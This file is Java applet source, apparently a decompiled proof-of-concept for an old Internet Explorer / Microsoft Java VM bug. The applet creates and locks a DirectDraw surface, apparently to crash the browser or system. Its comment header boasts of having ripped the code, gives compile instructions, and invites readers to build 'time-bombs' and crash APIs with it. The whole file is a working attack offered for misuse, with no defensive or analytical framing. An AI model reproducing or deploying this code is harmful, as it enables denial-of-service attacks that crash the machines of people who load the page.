// The infamous sourcecode of the IExplorer java bug.
// Ripped (Stealed? Hahahah!) by tAmTaM!
// I obtained it decompiling the obfuscated sample found here:
//
// http://www.anfyjava.com/iebug/
//
// I am sorry Mr. Ciucci, but I love freedom of information,
// and your obfuscated applet was so easy to crack ... ;)
//
// Compile using Visual J++ or Microsoft SDK for java
// using:
//
// jvc hello.java
//
// Feel free to make time-bombs, crash API's or whathever you want.
//
// Provided and distributed by:
// http://www.damnation.net - Thanks to tAmTaM!

import com.ms.directX.DDSurfaceDesc;
import com.ms.directX.DirectDraw;
import com.ms.directX.DirectDrawSurface;
import com.ms.directX.Rect;
import java.applet.Applet;
import java.awt.Canvas;
import java.awt.Component;
import java.awt.Container;

public class  hello extends Applet
{

    public void init()
    {
        Canvas canvas4= new Canvas();
        add(((Component)canvas4));
        DirectDraw directDraw5= new DirectDraw();
        show();
        directDraw5.setCooperativeLevel(((Component)canvas4), 8);
        DDSurfaceDesc dDSurfaceDesc2= new DDSurfaceDesc();
        dDSurfaceDesc2.flags= 1;
        dDSurfaceDesc2.ddsCaps= 512;
        directDraw5.createSurface(dDSurfaceDesc2);
        DDSurfaceDesc dDSurfaceDesc3= new DDSurfaceDesc();
        dDSurfaceDesc3.flags= 7;
        dDSurfaceDesc3.ddsCaps= 64;
        dDSurfaceDesc3.width= 640;
        dDSurfaceDesc3.height= 480;
        DirectDrawSurface directDrawSurface1= directDraw5.createSurface(dDSurfaceDesc3);
        Rect rect6= new Rect();
        rect6.left= 0;
        rect6.top= 0;
        rect6.right= 640;
        rect6.bottom= 480;
        directDrawSurface1.lock(rect6, dDSurfaceDesc3, 1, 0, new byte[307200]);
    }
}

